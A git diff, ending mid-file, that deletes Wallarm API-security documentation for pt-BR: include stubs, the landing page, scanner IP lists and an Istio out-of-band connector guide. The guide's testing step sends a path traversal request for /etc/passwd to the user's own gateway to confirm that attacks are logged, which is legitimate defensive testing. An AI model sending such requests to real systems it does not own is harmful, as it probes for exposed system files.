b/docs/pt-BR/demo-videos/api-abuse-prevention.md deleted file mode 100644 index 087135f1bb..0000000000 --- a/docs/pt-BR/demo-videos/api-abuse-prevention.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/demo-videos/api-abuse-prevention.md" \ No newline at end of file diff --git a/docs/pt-BR/demo-videos/api-discovery.md b/docs/pt-BR/demo-videos/api-discovery.md deleted file mode 100644 index e052e049b9..0000000000 --- a/docs/pt-BR/demo-videos/api-discovery.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/demo-videos/api-discovery.md" \ No newline at end of file diff --git a/docs/pt-BR/demo-videos/api-leaks.md b/docs/pt-BR/demo-videos/api-leaks.md deleted file mode 100644 index 599c65541f..0000000000 --- a/docs/pt-BR/demo-videos/api-leaks.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/demo-videos/api-leaks.md" \ No newline at end of file diff --git a/docs/pt-BR/demo-videos/events-inspection.md b/docs/pt-BR/demo-videos/events-inspection.md deleted file mode 100644 index 2848e1f2c9..0000000000 --- a/docs/pt-BR/demo-videos/events-inspection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/demo-videos/events-inspection.md" \ No newline at end of file diff --git a/docs/pt-BR/demo-videos/overview.md b/docs/pt-BR/demo-videos/overview.md deleted file mode 100644 index 639652bc95..0000000000 --- a/docs/pt-BR/demo-videos/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/demo-videos/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/demo-videos/shadow-api.md b/docs/pt-BR/demo-videos/shadow-api.md deleted file mode 100644 index 95dc22f477..0000000000 --- a/docs/pt-BR/demo-videos/shadow-api.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/demo-videos/shadow-api.md" \ No newline at end of file diff --git a/docs/pt-BR/downloads/scanner-ip-addresses-eu.txt b/docs/pt-BR/downloads/scanner-ip-addresses-eu.txt deleted file mode 100644 index 0045c334e0..0000000000 --- a/docs/pt-BR/downloads/scanner-ip-addresses-eu.txt +++ /dev/null @@ -1,16 +0,0 @@ -213.52.130.153 -213.52.130.179 -213.52.130.185 -213.52.130.198 -176.58.99.214 -212.71.244.128 -212.71.244.92 -178.79.168.193 -178.79.168.239 -178.79.168.200 -178.79.168.201 -178.79.168.241 -178.79.168.186 -85.159.208.25 -139.162.220.5 -212.71.252.245 \ No newline at end of file diff --git a/docs/pt-BR/downloads/scanner-ip-addresses-us.txt b/docs/pt-BR/downloads/scanner-ip-addresses-us.txt deleted file mode 100644 index 735300b85d..0000000000 --- a/docs/pt-BR/downloads/scanner-ip-addresses-us.txt +++ /dev/null @@ -1,34 +0,0 @@ -192.155.80.80 -192.155.80.95 -23.239.21.160 -50.116.14.31 -139.162.137.47 -192.155.81.166 -192.155.81.173 -192.155.81.185 -192.155.81.193 -192.155.81.195 -192.155.81.201 -192.155.81.204 -192.155.81.205 -192.155.81.210 -192.155.81.220 -192.155.81.32 -192.155.81.39 -192.155.81.62 -192.155.81.97 -23.239.21.250 -45.33.63.36 -45.79.100.119 -45.79.100.174 -45.79.100.81 -45.79.73.64 -45.79.74.89 -50.116.12.25 -50.116.2.193 -50.116.2.228 -74.207.253.161 -74.207.253.65 -173.230.150.9 -173.230.150.13 -173.230.150.14 \ No newline at end of file diff --git a/docs/pt-BR/faq/attacks-not-uploaded-to-cloud.md b/docs/pt-BR/faq/attacks-not-uploaded-to-cloud.md deleted file mode 100644 index 558239e194..0000000000 --- a/docs/pt-BR/faq/attacks-not-uploaded-to-cloud.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/attacks-not-uploaded-to-cloud.md" \ No newline at end of file diff --git a/docs/pt-BR/faq/common-errors-after-installation.md b/docs/pt-BR/faq/common-errors-after-installation.md deleted file mode 100644 index 64b00139f6..0000000000 --- a/docs/pt-BR/faq/common-errors-after-installation.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/common-errors-after-installation.md" \ No newline at end of file diff --git a/docs/pt-BR/faq/cpu.md b/docs/pt-BR/faq/cpu.md deleted file mode 100644 index 16f8f05ec4..0000000000 --- a/docs/pt-BR/faq/cpu.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/cpu.md" \ No newline at end of file diff --git a/docs/pt-BR/faq/ingress-installation.md b/docs/pt-BR/faq/ingress-installation.md deleted file mode 100644 index 7fa8da7534..0000000000 --- a/docs/pt-BR/faq/ingress-installation.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/ingress-installation.md" \ No newline at end of file diff --git a/docs/pt-BR/faq/node-issues-on-owasp-dashboards.md b/docs/pt-BR/faq/node-issues-on-owasp-dashboards.md deleted file mode 100644 index b0ddd1265c..0000000000 --- a/docs/pt-BR/faq/node-issues-on-owasp-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/node-issues-on-owasp-dashboards.md" \ No newline at end of file diff --git a/docs/pt-BR/faq/tarantool.md b/docs/pt-BR/faq/tarantool.md deleted file mode 100644 index 4855c80c45..0000000000 --- a/docs/pt-BR/faq/tarantool.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/tarantool.md" \ No newline at end of file diff --git a/docs/pt-BR/faq/wallarm-cloud-down.md b/docs/pt-BR/faq/wallarm-cloud-down.md deleted file mode 100644 index 238e89ac20..0000000000 --- a/docs/pt-BR/faq/wallarm-cloud-down.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/wallarm-cloud-down.md" \ No newline at end of file diff --git a/docs/pt-BR/faq/wallarm-status-page.md b/docs/pt-BR/faq/wallarm-status-page.md deleted file mode 100644 index 23ecbf50ef..0000000000 --- a/docs/pt-BR/faq/wallarm-status-page.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/wallarm-status-page.md" \ No newline at end of file diff --git a/docs/pt-BR/faq/wrong-blocking.md b/docs/pt-BR/faq/wrong-blocking.md deleted file mode 100644 index b8d8305326..0000000000 --- a/docs/pt-BR/faq/wrong-blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/faq/wrong-blocking.md" \ No newline at end of file diff --git a/docs/pt-BR/glossary-en.md b/docs/pt-BR/glossary-en.md deleted file mode 100644 index 1f6d5df3ba..0000000000 --- a/docs/pt-BR/glossary-en.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/glossary-en.md" \ No newline at end of file diff --git a/docs/pt-BR/index.md b/docs/pt-BR/index.md deleted file mode 100644 index e730cdc60f..0000000000 --- a/docs/pt-BR/index.md +++ /dev/null @@ -1,859 +0,0 @@ ---- -hide: - - navigation - - toc - - feedback ---- - -# Documentação Wallarm - -Tudo o que você precisa para descobrir suas APIs, MCPs e agentes de IA, protegê-los contra ameaças e testar vulnerabilidades. - -
              - -
              - -
              - - -
              -
              -

              Introdução →

              -

              Comece com a plataforma Wallarm e aprenda o essencial.

              -

              -
              -
              - - -
              - -
              -

              Descoberta de API →

              -

              Catalogue todas as suas APIs/MCPs/agentes, riscos e fluxos de dados sensíveis.

              -

              -
              - -
              -

              Proteção de API →

              -

              Bloqueie ataques, bots e abuso em tempo real com detecção inteligente de ameaças.

              -

              -
              - -
              -

              Teste de segurança de API →

              -

              Encontre vulnerabilidades antes dos atacantes com testes de segurança automatizados.

              -

              -
              - -
              -

              Segurança de IA →

              -

              Descubra e proteja agentes de IA e MCPs.

              -

              -
              - -
              - - -
              - -
              -

              Implantação →

              -

              Implante o Wallarm com opções gerenciadas, self-hosted ou baseadas em conector.

              -

              -
              - -
              -

              Integrações →

              -

              Conecte o Wallarm às suas ferramentas de segurança, SIEMs e sistemas de alerta.

              -

              -
              - -
              -

              Gerenciamento da plataforma →

              -

              Monitore ameaças, configure alertas e gerencie acesso e infraestrutura.

              -

              -
              - -
              - - -
              -
              -
              -
              NOVO NO WALLARM?
              -

              Veja como tudo funciona em 5 minutos

              - Assistir à visão geral -
              -
              - -
              - -
              -
              -               -
              -
              -
              - - - - diff --git a/docs/pt-BR/installation/api-gateways/apigee.md b/docs/pt-BR/installation/api-gateways/apigee.md deleted file mode 100644 index 7e2911d3c4..0000000000 --- a/docs/pt-BR/installation/api-gateways/apigee.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/api-gateways/apigee.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/api-gateways/layer7-api-gateway.md b/docs/pt-BR/installation/api-gateways/layer7-api-gateway.md deleted file mode 100644 index a25189cc9e..0000000000 --- a/docs/pt-BR/installation/api-gateways/layer7-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/layer7-api-gateway.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/api-gateways/mulesoft.md b/docs/pt-BR/installation/api-gateways/mulesoft.md deleted file mode 100644 index bdbc3cebe3..0000000000 --- a/docs/pt-BR/installation/api-gateways/mulesoft.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/api-gateways/mulesoft.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cdn-node.md b/docs/pt-BR/installation/cdn-node.md deleted file mode 100644 index 72d5ade323..0000000000 --- a/docs/pt-BR/installation/cdn-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/cdn-node.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/alibaba-cloud/docker-container.md b/docs/pt-BR/installation/cloud-platforms/alibaba-cloud/docker-container.md deleted file mode 100644 index 4d1afa32f1..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/alibaba-cloud/docker-container.md +++ /dev/null @@ -1,17 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-alibaba-img]: ../../../images/waf-installation/alibaba-cloud/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../admin-en/configure-logging.md - ---8<-- "latest-pt-BR/installation/cloud-platforms/alibaba-cloud/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/aws/ami.md b/docs/pt-BR/installation/cloud-platforms/aws/ami.md deleted file mode 100644 index e981620a53..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/aws/ami.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/cloud-platforms/aws/ami.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/aws/docker-container.md b/docs/pt-BR/installation/cloud-platforms/aws/docker-container.md deleted file mode 100644 index b9c18406a1..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/aws/docker-container.md +++ /dev/null @@ -1,16 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[aws-copy-container-ip-img]: ../../../images/waf-installation/aws/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png - ---8<-- "latest-pt-BR/installation/cloud-platforms/aws/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/overview.md b/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/overview.md deleted file mode 100644 index 3739b321c6..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/cloud-platforms/aws/terraform-module/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md b/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md deleted file mode 100644 index bbbed2787b..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md +++ /dev/null @@ -1,3 +0,0 @@ -[wallarm-proxy-for-aws-api-gateway-img]: ../../../../images/waf-installation/aws/terraform/wallarm-as-proxy-for-aws-api-gateway.png - ---8<-- "latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md b/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md deleted file mode 100644 index 47aea32894..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md +++ /dev/null @@ -1,3 +0,0 @@ -[wallarm-proxy-terraform-img]: ../../../../images/waf-installation/aws/terraform/wallarm-as-proxy.png - ---8<-- "latest-pt-BR/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/azure/docker-container.md b/docs/pt-BR/installation/cloud-platforms/azure/docker-container.md deleted file mode 100644 index 16164d24c9..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/azure/docker-container.md +++ /dev/null @@ -1,17 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-azure-img]: ../../../images/waf-installation/azure/container-copy-domain-name.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../admin-en/configure-logging.md - ---8<-- "latest-pt-BR/installation/cloud-platforms/azure/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/cloud-init.md b/docs/pt-BR/installation/cloud-platforms/cloud-init.md deleted file mode 100644 index 9f3be79a41..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/cloud-init.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/cloud-platforms/cloud-init.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/gcp/docker-container.md b/docs/pt-BR/installation/cloud-platforms/gcp/docker-container.md deleted file mode 100644 index b6e439195e..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/gcp/docker-container.md +++ /dev/null @@ -1,16 +0,0 @@ -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[copy-container-ip-gcp-img]: ../../../images/waf-installation/gcp/container-copy-ip.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png - ---8<-- "latest-pt-BR/installation/cloud-platforms/gcp/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/gcp/machine-image.md b/docs/pt-BR/installation/cloud-platforms/gcp/machine-image.md deleted file mode 100644 index 55f2e913c7..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/gcp/machine-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/cloud-platforms/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/cloud-platforms/private-cloud.md b/docs/pt-BR/installation/cloud-platforms/private-cloud.md deleted file mode 100644 index 5384f1ef29..0000000000 --- a/docs/pt-BR/installation/cloud-platforms/private-cloud.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/cloud-platforms/private-cloud.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/akamai-edgeworkers.md b/docs/pt-BR/installation/connectors/akamai-edgeworkers.md deleted file mode 100644 index e7ed13ac8a..0000000000 --- a/docs/pt-BR/installation/connectors/akamai-edgeworkers.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-pt-BR/installation/cdn/akamai-edgeworkers.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/apigee.md b/docs/pt-BR/installation/connectors/apigee.md deleted file mode 100644 index 758825f351..0000000000 --- a/docs/pt-BR/installation/connectors/apigee.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-pt-BR/installation/api-gateways/apigee.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/aws-api-gateway.md b/docs/pt-BR/installation/connectors/aws-api-gateway.md deleted file mode 100644 index a7b1dd8554..0000000000 --- a/docs/pt-BR/installation/connectors/aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/connectors/aws-api-gateway.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/aws-lambda.md b/docs/pt-BR/installation/connectors/aws-lambda.md deleted file mode 100644 index 2176ef1c69..0000000000 --- a/docs/pt-BR/installation/connectors/aws-lambda.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-pt-BR/installation/cdn/aws-lambda.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/azion-edge.md b/docs/pt-BR/installation/connectors/azion-edge.md deleted file mode 100644 index ddd4aea92a..0000000000 --- a/docs/pt-BR/installation/connectors/azion-edge.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-pt-BR/installation/cdn/azion-edge.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/cloudflare.md b/docs/pt-BR/installation/connectors/cloudflare.md deleted file mode 100644 index f159729b09..0000000000 --- a/docs/pt-BR/installation/connectors/cloudflare.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest/installation/connectors/cloudflare.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/code-bundle-inventory.md b/docs/pt-BR/installation/connectors/code-bundle-inventory.md deleted file mode 100644 index 89199ce51d..0000000000 --- a/docs/pt-BR/installation/connectors/code-bundle-inventory.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/code-bundle-inventory.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/fastly.md b/docs/pt-BR/installation/connectors/fastly.md deleted file mode 100644 index 234ca83855..0000000000 --- a/docs/pt-BR/installation/connectors/fastly.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/fastly.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/ibm-api-connect.md b/docs/pt-BR/installation/connectors/ibm-api-connect.md deleted file mode 100644 index cb0b16fec1..0000000000 --- a/docs/pt-BR/installation/connectors/ibm-api-connect.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/ibm-api-connect.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/istio-inline.md b/docs/pt-BR/installation/connectors/istio-inline.md deleted file mode 100644 index 2b960d5467..0000000000 --- a/docs/pt-BR/installation/connectors/istio-inline.md +++ /dev/null @@ -1,10 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-rule-in-wallarm-console -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md - ---8<-- "latest/installation/connectors/istio.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/istio.md b/docs/pt-BR/installation/connectors/istio.md deleted file mode 100644 index 03b9867ebb..0000000000 --- a/docs/pt-BR/installation/connectors/istio.md +++ /dev/null @@ -1,146 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-mode -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md - -# Wallarm Connector for Istio Ingress (Out‑of‑Band) - -Wallarm provides a connector for securing APIs managed by Istio to analyze traffic [out-of-band (OOB)](../oob/overview.md). By deploying Wallarm nodes alongside [Istio's](https://istio.io/) Envoy proxies, the connector mirrors incoming traffic, sending it asynchronously for analysis while allowing traffic to continue flowing uninterrupted. - -The integration relies on a Lua plugin, deployed within the Envoy proxy, to handle traffic mirroring and communication with the Wallarm node. - -![Istio with Wallarm plugin](../../images/waf-installation/gateways/istio/traffic-flow-oob.png) - -## Use cases - -This solution is recommended when real-time traffic analysis is unnecessary, and asynchronous analysis is sufficient. - -This is the optimal choice for securing APIs managed by Istio running with Envoy proxy in Kubernetes. - -## Limitations - -This setup allows fine-tuning Wallarm only via the Wallarm Console UI. Some Wallarm features that require file-based configuration are not supported in this implementation, such as: - -* [Application configuration][applications-docs] -* [Custom blocking page and code setup][custom-blocking-page-docs] - -## Requirements - -To proceed with the deployment, ensure that you meet the following requirements: - -* Istio with Envoy proxy managing API traffic in your Kubernetes cluster -* [Helm v3](https://helm.sh/) package manager -* Access to `https://us1.api.wallarm.com` (US Wallarm Cloud) or to `https://api.wallarm.com` (EU Wallarm Cloud) -* Access to `https://charts.wallarm.com` to add the Wallarm Helm chart -* Access to the Wallarm repositories on Docker Hub `https://hub.docker.com/r/wallarm` -* Access to the IP addresses and their corresponding hostnames (if any) listed below. This is needed for downloading updates to attack detection rules, as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted](../../user-guides/ip-lists/overview.md) countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* **Administrator** access to Wallarm Console for [US Cloud](https://us1.my.wallarm.com/) or [EU Cloud](https://my.wallarm.com/) - -## Deployment - -To secure APIs managed by Istio and Envoy proxy, follow these steps: - -1. Deploy the Wallarm filtering node service in your Kubernetes cluster. -1. Configure the Envoy proxy in Istio to mirror traffic and send it to the Wallarm node for out-of-band analysis. - -### 1. Deploy a Wallarm Native Node - -To deploy the Wallarm node as a separate service in your Kubernetes cluster, follow the [instructions](../native-node/helm-chart.md). - -### 2. Configure Envoy to mirror traffic to the Wallarm node - -1. Contact [support@wallarm.com](mailto:support@wallarm.com) to obtain the Wallarm Lua plugin code for Istio. The filenames provided by the support team are used in the following steps. -1. Apply the Envoy filter and cluster configuration to mirror traffic to the Wallarm node using Lua scripts: - - ``` - kubectl apply -f wallarm-envoy-gw-http-filter.yaml - kubectl apply -f wallarm-envoy-cluster-svc-endpoint.yaml - ``` -1. Create ConfigMaps to mount the Wallarm connector and its Lua dependencies within the Istio Ingress controller namespace: - - ``` - kubectl -n apply -f wallarm-cm-lua-mpack-lib.yaml - kubectl -n apply -f wallarm-cm-lua-rrasync.yaml - ``` -1. To mount the ConfigMaps, update your Istio Ingress Gateway deployment. Depending on how you manage Istio (Helm, IstioOperator, or custom deployment), apply the changes accordingly. - - For example, if Istio was installed using IstioOperator, you can mount the ConfigMaps by updating the `IstioOperator` resource: - - ```yaml - apiVersion: install.istio.io/v1alpha1 - kind: IstioOperator - spec: - components: - ingressGateways: - - name: istio-ingressgateway - enabled: true - k8s: - volumes: - - name: lua-mpack - configMap: - name: lua-msgpack-lib - - name: lua-rrasync - configMap: - name: rr-async-packed - volumeMounts: - - name: lua-mpack - mountPath: /usr/local/share/lua/5.1/msgpack - container: istio-proxy - - name: lua-rrasync - mountPath: /usr/local/share/lua/5.1/rrasync - container: istio-proxy - ``` - - ``` - kubectl apply -f istio-operator.yaml - ``` - -## Testing - -To test the functionality of the deployed connector, follow these steps: - -1. Verify that the Wallarm pods are up and running: - - ``` - kubectl -n wallarm-node get pods - ``` - - `wallarm-node` is the namespace where the Wallarm node service is deployed. - - Each pod status should be **STATUS: Running** or **READY: N/N**. For example: - - ``` - NAME READY STATUS RESTARTS AGE - native-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - native-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. Send the request with the test [Path Traversal][ptrav-attack-docs] attack to the Istio Gateway: - - ``` - curl https:///etc/passwd - ``` -1. Open Wallarm Console → **Attacks** section in the [US Cloud](https://us1.my.wallarm.com/attacks) or [EU Cloud](https://my.wallarm.com/attacks) and make sure the attack is displayed in the list. - - ![Attacks in the interface][attacks-in-ui-image] - - Since the connector operates in the [out-of-band](../oob/overview.md) mode and does not block malicious requests, the Wallarm node will not block the attack but will register it. -1. If needed, monitor the Wallarm logs in a separate console window: - - ``` - kubectl -n gonode logs native-processing-7c487bbdc6-4j6mz --tail 100 -f - ``` - -## Upgrading the Wallarm Lua plugin - -To upgrade the deployed Wallarm Lua plugin to a [newer version](code-bundle-inventory.md#istio): - -1. Contact support@wallarm.com to obtain the updated Wallarm Lua plugin code for your Istio Ingress. -1. Deploy the updated plugin as described in the [Step 2](#2-configure-envoy-to-mirror-traffic-to-the-wallarm-node). - -Plugin upgrades may require a Wallarm node upgrade, especially for major version updates. See the [Wallarm Native Node changelog](../../updating-migrating/native-node/node-artifact-versions.md) for release updates and upgrade instructions. Regular node updates are recommended to avoid deprecation and simplify future upgrades. diff --git a/docs/pt-BR/installation/connectors/kong-api-gateway.md b/docs/pt-BR/installation/connectors/kong-api-gateway.md deleted file mode 100644 index 9ad96684c9..0000000000 --- a/docs/pt-BR/installation/connectors/kong-api-gateway.md +++ /dev/null @@ -1,9 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-rule-in-wallarm-console - ---8<-- "latest/installation/connectors/kong-ingress-controller.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/layer7-api-gateway.md b/docs/pt-BR/installation/connectors/layer7-api-gateway.md deleted file mode 100644 index 23a9654a62..0000000000 --- a/docs/pt-BR/installation/connectors/layer7-api-gateway.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest/installation/connectors/layer7-api-gateway.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/connectors/mulesoft-flex.md b/docs/pt-BR/installation/connectors/mulesoft-flex.md deleted file mode 100644 index a0210f12f4..0000000000 --- a/docs/pt-BR/installation/connectors/mulesoft-flex.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- 